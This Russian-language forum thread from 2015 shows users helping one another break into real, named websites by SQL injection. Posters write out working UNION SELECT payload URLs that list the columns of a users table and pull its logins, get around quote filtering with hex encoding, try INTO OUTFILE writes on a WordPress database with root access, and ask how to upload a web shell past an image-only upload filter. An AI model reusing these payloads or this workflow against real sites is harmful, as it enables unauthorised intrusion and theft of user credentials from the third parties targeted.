08.02.2015, 13:51
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от izzy
при таком +union+select+1,2,user,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18+from+mysql.user--
пишет SELECT command denied to user 'u1094094_sangha'@'ип сайта' for table 'user' - это значит что нет?
Значит нет доступа.
|
|
|
09.02.2015, 10:02
|
|
Участник форума
Регистрация: 27.03.2014
Сообщений: 129
С нами:
6384566
Репутация:
1
|
|
Подскажите,как вытащить есть таблица [users] стобцы из неё я могу прочитать,но вот дальше никак, таблица в квадратных скобках
|
|
|
|
09.02.2015, 11:15
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от madam
Подскажите,как вытащить есть таблица [users] стобцы из неё я могу прочитать,но вот дальше никак, таблица в квадратных скобках
Код:
SELECT 1,2,3,4,5 FROM `[users]`--
|
|
|
|
09.02.2015, 11:33
|
|
Участник форума
Регистрация: 27.03.2014
Сообщений: 129
С нами:
6384566
Репутация:
1
|
|
Сообщение от faza02
Код:
SELECT 1,2,3,4,5 FROM `[users]`--
)) уже по разному пробовала,не хочет
http://bt c45.net/forum.php?sub=166 union select 1,2,3,4,TABLE_NAME,6,7 FROM INFORMATION_SCHEMA.TABLES LIMIT 98,1
кавычки фильтруются
|
|
|
|
09.02.2015, 11:56
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
колонки:
Код:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,column_NAME,6,7+FROM+INFORMATION_SCHEMA.columns+where+table_name=0x5b75736572735d
записи из таблицы:
Код:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,login,6,7+FROM+`[users]`+limit+4,1
что именно он не хочет? |
|
|
|
09.02.2015, 12:14
|
|
Участник форума
Регистрация: 27.03.2014
Сообщений: 129
С нами:
6384566
Репутация:
1
|
|
Сообщение от faza02
колонки:
Код:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,column_NAME,6,7+FROM+INFORMATION_SCHEMA.columns+where+table_name=0x5b75736572735d
записи из таблицы:
Код:
http://btc45.net/forum.php?sub=166+union+select+1,2,3,4,login,6,7+FROM+`[users]`+limit+4,1
что именно он не хочет? блин,всё поняла кавычки не те поставила (( спасиб
|
|
|
|
10.02.2015, 22:39
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
Есть админка, но запрещено заливать файлы .php только изображение, как можно залить шелл. Проинклудить не получается.
|
|
|
|
11.02.2015, 00:32
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
Что можно с этим сделать?
http://www.kunst-forum.ch/suchresultate/?tx_artbase%5Baction%5D=performSearch&tx_artbase%5 Bcontroller%5D=Search&cHash=bdd49c98329a5db8044c19 2d4033f887&tx_artbase[__referrer][extensionName]=Artbase&tx_artbase[__referrer][controllerName]=Search&tx_artbase[__referrer][actionName]=showSearchForm&tx_artbase[__hmac]=a:3:{s:11:%22searchfield%22;i:1;s:6:%22action%22; i:1;s:10:%22controller%22;i:1;}5165223b6f84dec570c cfd7b1d7a2f1958787a14&tx_artbase[searchfield]=a?
урезал лишнее
http://www.kunst-forum.ch/suchresultate/?tx_artbase%5Baction%5D=performSearch&tx_artbase%5 Bcontroller%5D=Search&cHash=d57aa66360d76c68d7dc4a 736c29512a&tx_artbase%5Bsearchfield%5D=Craig
|
|
|
|
11.02.2015, 02:26
|
|
Участник форума
Регистрация: 16.02.2008
Сообщений: 177
С нами:
9597253
Репутация:
82
|
|
сайт на вп, есть рут бд, file_priv Y , админка заблочена по ип, прочитать файлы могу, а вот заливка при файл прив не работает, путь раскрыл. перепробовал все папки вп
Сообщение от None
select '' from mysql.user into outfile 'путь'
выдет ерор 13 cant create\write |
|
|
|
11.02.2015, 04:00
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от mazaxaka
сайт на вп, есть рут бд, file_priv Y , админка заблочена по ип, прочитать файлы могу, а вот заливка при файл прив не работает, путь раскрыл. перепробовал все папки вп
выдет ерор 13 cant create\write
в /tmp льется?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
